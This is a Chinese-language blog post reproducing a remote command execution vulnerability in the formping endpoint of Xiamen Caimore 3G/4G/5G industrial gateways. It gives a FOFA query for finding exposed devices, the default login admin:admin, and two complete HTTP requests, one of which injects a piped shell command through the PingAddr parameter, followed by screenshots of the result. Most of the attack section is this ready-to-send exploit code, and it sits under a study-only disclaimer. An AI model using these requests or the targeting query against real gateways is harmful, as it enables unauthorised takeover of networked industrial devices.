【漏洞复现】厦门才茂通信网关formping远程命令执行漏洞

素颜马尾好姑娘i 2024-03-18 00:07 148阅读 0赞

#### 文章目录 ####

*  前言
 *  声明
 *  一、漏洞描述
 *  二、漏洞复现

--------------------

## 前言 ##

厦门才茂通信网关formping存在远程命令执行漏洞，攻击者可通过特定payload对目标服务器发起攻击，造成不可估量的影响。

--------------------

## 声明 ##

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

## 一、漏洞描述 ##

厦门才茂网关，采用开放式软件架构设计，是一款金属外壳设计，带4路千兆LAN、1路千兆WAN，采用 `3G/4G/5G` 广域网络上网通信的工业级设计无线网关，支持`2.4GWiFi`和`5.8GWiFi`

厦门才茂网关系统formping存在命令执行漏洞，攻击者通过漏洞可以执行任意命令，导致服务器失陷。

## 二、漏洞复现 ##

FOFA：app=" CAIMORE-Gateway"

弱口令 admin:admin 登录，通过漏洞执行linux命令，在通过访问指定参数得到回显

Payload如下：

POC1:
    POST /goform/formping HTTP/1.1
    Host: {
       {Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
    Connection: close
    Content-Length: 63
    Authorization: Basic YWRtaW46YWRtaW4=
    Accept-Encoding: gzip
    
    PingAddr=127.0.0.1%7Cecho%20hellocaimao&PingPackNumb=1&PingMsg=
    
    POC2:
    GET /pingmessages HTTP/1.1
    Host: {
       {Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
    Connection: close
    Authorization: Basic YWRtaW46YWRtaW4=
    Accept-Encoding: gzip

访问应用会出现弹窗认证(401)机制，输入 admin:admin 登录  
![在这里插入图片描述][a862bd43d6c345ea9bc4f58532eae3d3.png]  
![在这里插入图片描述][bd738293d03d420d9a0bc2e3484a8977.png]  
**POC验证如下：**  
![在这里插入图片描述][b6dc3e9e5cec4681838122258e17a65c.png]  
![在这里插入图片描述][ab6c7090294d4a74b726d2cf3b22565c.png]

[a862bd43d6c345ea9bc4f58532eae3d3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/14/648649577c854884a7c94d1e4a94c03c.png
[bd738293d03d420d9a0bc2e3484a8977.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/14/5ca5a7adf6314e98bf8994a8ba713a3a.png
[b6dc3e9e5cec4681838122258e17a65c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/14/0d1ace287cda4055bba4e3139fa0b74a.png
[ab6c7090294d4a74b726d2cf3b22565c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/14/936b35933e4240c685deb4cd3c8f2816.png